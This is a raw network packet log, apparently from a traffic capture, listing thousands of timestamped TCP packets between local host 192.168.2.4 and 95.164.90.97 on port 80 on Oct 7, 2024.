Oct 7, 2024 03:15:46.680826902 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.680835009 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.680876970 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.680885077 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.680917978 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.680931091 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.680952072 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.680959940 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.680993080 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.681010008 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.681065083 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.681067944 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.681107998 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.681111097 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.681150913 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.681162119 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.681206942 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.681215048 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.681258917 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.681267023 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.681301117 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.681310892 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.681334019 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.681343079 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.681366920 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.681375980 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.681411028 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.681420088 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.681453943 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.681463003 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.681488037 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.681499958 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.681581974 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.681600094 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.681643009 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.681651115 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.681685925 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.681708097 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.681731939 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.681739092 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.681781054 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.681791067 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.681833982 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.681842089 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.681875944 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.681889057 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.681909084 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.681919098 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.681952953 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.681961060 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.682004929 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.682012081 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.682054043 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.682066917 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.682099104 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.682117939 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.682132959 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.682143927 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.682176113 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.682183981 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.682219028 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.682229042 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.682264090 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.682272911 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.682312012 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.682322025 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.682362080 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.682363987 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.682408094 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.682416916 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.682451963 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.682461977 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.682487011 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.682497025 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.682521105 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.682529926 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.682555914 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.682564974 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.682589054 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.682598114 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.682622910 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.682631016 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.682657003 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.682667017 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.682692051 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.682698965 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.682724953 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.682734966 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.682760000 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.682766914 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.682792902 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.682804108 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.682832003 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.682837009 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.682867050 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.682878017 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.682900906 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.682910919 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.682934999 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.682945013 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.682970047 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.682976961 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.683003902 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.683008909 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.683037996 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.683047056 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.683070898 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.683082104 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.683104992 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.683115959 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.683140993 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.683150053 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.683176041 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.683188915 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.683213949 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.683224916 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.683249950 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.683259964 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.683285952 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.683294058 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.683320999 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.683331013 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.683355093 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.683367014 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.683398008 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.683410883 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.683445930 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.683461905 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.683490038 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.683495045 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.683523893 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.683536053 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.683561087 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.683567047 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.683597088 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.683603048 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.683631897 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.683648109 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.683666945 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.683674097 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.683701992 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.683710098 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.683736086 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.683744907 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.683772087 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.683779001 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.683805943 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.683815956 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.683842897 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.683849096 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.683877945 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.683885098 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.683913946 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.683926105 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.683948994 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.683958054 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.683983088 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.683991909 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.684019089 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.684026957 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.684053898 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.684061050 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.684088945 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.684096098 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.684127092 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.684132099 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.684160948 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.684174061 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.684197903 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.684206963 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.684232950 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.684242964 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.684268951 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.684276104 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.684303045 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.684312105 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.684338093 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.684345007 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.684372902 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.684381962 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.684407949 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.684417009 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.684439898 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.684451103 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.684474945 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.684484005 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.684509993 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.684520006 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.684545040 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.684552908 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.684580088 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.684585094 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.684614897 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.684623957 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.684649944 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.684659958 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.684684038 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.684691906 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.684722900 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.766748905 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.766782045 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.766798973 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.766844034 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.766859055 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.766885996 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.766889095 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.766889095 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.766889095 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.766901970 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.766917944 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.766943932 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.766968966 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.766968966 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.767010927 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.767033100 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.767049074 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.767067909 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.767075062 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.767076969 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.767091036 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.767096996 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.767112970 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.767121077 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.767128944 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.767138004 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.767153978 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.767163038 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.767169952 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.767187119 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.767199039 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.767199993 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.767216921 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.767216921 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.767219067 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.767229080 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.767260075 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.767277002 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.767287016 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.767338991 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.767350912 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.767366886 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.767410994 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.767410994 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.767429113 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.767442942 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.767465115 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.767476082 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.767481089 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.767489910 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.767503023 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.767512083 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.767525911 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.767538071 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.767541885 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.767556906 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.767559052 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.767597914 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.767620087 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.767620087 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.767631054 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.767641068 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.767664909 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.767680883 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.767697096 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.767713070 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.767728090 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.767728090 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.767729044 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.767740011 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.767762899 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.767781019 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.767791986 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.767807961 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.767822981 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.767838001 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.767839909 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.767852068 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.767855883 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.767870903 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.767872095 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.767888069 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.767894983 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.767905951 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.767909050 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.767923117 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.767926931 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.767935991 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.767942905 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.767952919 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.767968893 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.767971039 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.767986059 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.767987013 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.768002987 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.768009901 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.768017054 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.768032074 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.768047094 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.768050909 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.768063068 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.768064976 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.768080950 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.768095016 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.768099070 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.768105030 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.768116951 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.768129110 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.768137932 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.768153906 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.768165112 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.768165112 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.768171072 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.768176079 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.768188953 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.768201113 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.768213987 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.768217087 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.768235922 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.768241882 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.768249989 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.768260956 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.768286943 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.768287897 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.768297911 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.768304110 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.768321991 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.768332958 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.768338919 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.768357038 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.768363953 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.768369913 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.768381119 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.768382072 CEST	80	49737	95.164.90.97	192.168.2.4
